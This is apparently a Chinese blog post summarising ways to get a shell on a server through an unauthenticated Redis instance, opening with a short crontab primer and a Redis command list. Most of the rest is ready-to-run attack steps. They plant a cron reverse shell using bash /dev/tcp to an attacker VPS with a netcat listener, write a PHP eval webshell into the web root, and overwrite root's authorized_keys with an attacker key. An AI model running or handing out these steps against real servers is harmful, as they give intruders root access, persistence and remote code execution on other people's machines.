Redis Getshell 总结

彦祖 274

序言

Crontab 可以在指定的时间执行一个Shell脚本或者 Linux/Unix 命令。

Crontab表达式

Cron 表达式从左往右,从秒开始;而 Crontab 则是从分钟开始的。
Cron 表达式是一个字符串,字符串以 5 或 6 个空格隔开,分为 6 或 7 个域,每一个域代表一个含义,
Cron 有如下两种语法格:
(1)Seconds Minutes Hours DayofMonth Month DayofWeek Year
(2)Seconds Minutes Hours DayofMonth Month DayofWeek
Crontab 格式:
MIN(分钟) HOUR(小时) DAY(日期) MONTH(月份) DAYOFWEEK(星期) COMMAND(命令)

Crontab -help

crontab –e :  修改 crontab 文件. 如果文件不存在会自动创建。 
crontab –l :  显示 crontab 文件。 
crontab -r :  删除 crontab 文件。
crontab -ir : 删除 crontab 文件前提醒用户。

Crontab调度

crond进程负责读取调度任务并执行,用户只需要将相应的调度脚本写入cron的调度配置文件中。crond进程不需要用户启动、关闭。

cron的调度文件有以下几个

crontab
cron.d
cron.daily
cron.hourly
cron.monthly
cron.weekly

Crontab 例子

在每天凌晨过一分钟 12:01 a.m 执行

1 0 * * * /root/bin/backup.sh

每个工作日 (Mon – Fri) 11:59 p.m 执行

59 11 * * 1,2,3,4,5 /root/bin/backup.sh

下面例子与上面的例子效果一样:

59 11 * * 1-5 /root/bin/backup.sh

每 5 分钟执行一次命令

*/5 * * * * /root/bin/check-status.sh

每个月的第一天 1:10 p.m 执行

10 13 1 * * /root/bin/full-backup.sh

每个工作日 11 p.m 执行

0 23 * * 1-5 /root/bin/incremental-backup.sh

Redis常用命令

连接服务
redis-cli -h 192.168.0.7
 (1)info                                查看信息     
 (2)flushall                              删除所有数据库内容
 (3)flushdb                             刷新数据库
 (4)KEYS *                                                  查看所有键,使用select num可以查看键值数据。
 (5)set test "who am i"                  设置变量
 (6)config set dir {dirpath}            设置路径等配置
 (7)config set dbfilename redis.rdb        设置备份文件名
 (8)config get dir/dbfilename           获取路径及数据配置信息
 (9)save                                保存
 (10)get                                    变量,查看变量名称

nmap 获取redis信息

nmap -A -p 6379 --script redis-info 192.168.0.7

计划任务反弹Shell

# VPS 启监听
➜ nc -lvp 6666

# 攻击机连接 Redis (若其他端口加 -p)
➜ redis-cli -h 192.168.0.7

192.168.0.7:6379> set x "\n* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/port 0>&1\n"
OK
192.168.0.7:6379> config set dir /var/spool/cron/
OK
192.168.0.7:6379> config set dbfilename root
OK
192.168.0.7:6379> save
OK

redis写shell

redis必须有写入的权限,可尝试写入webshell

攻击机连接 Redis (若其他端口加 -p)
➜ redis-cli -h 192.168.0.7

192.168.0.7:6379> config set dir /var/www/html/
OK
192.168.0.7:6379> config set dbfilename 1.php
OK
192.168.0.7:6379> set x "<?php @eval($_POST['x']);?>"
OK
192.168.0.7:6379> save
OK

写公钥获取权限

1.Redis服务以ROOT权限启动
2.目标开放ssh服务,并且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
# 本地生成一对密钥
➜ ssh-keygen -t rsa

# 将公钥写入一个文件,内容前后要加两个换行

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

# 将公钥放入目标服务器键`crackit`里面
cat key.txt | redis-cli -h 192.168.0.7 -x set crackit

# 或者 192.168.0.7:6379> set crackit “\n\n\n 公钥内容 \n\n\n”

192.168.0.7:6379> config set dir /root/.ssh/
OK
192.168.0.7:6379> config get dir
1) "dir"

2) "/root/.ssh"
192.168.0.7:6379> config set dbfilename authorized_keys
OK
192.168.0.7:6379> save
OK

# 使用私钥连接
➜ ssh -i id_rsa [email protected]

分享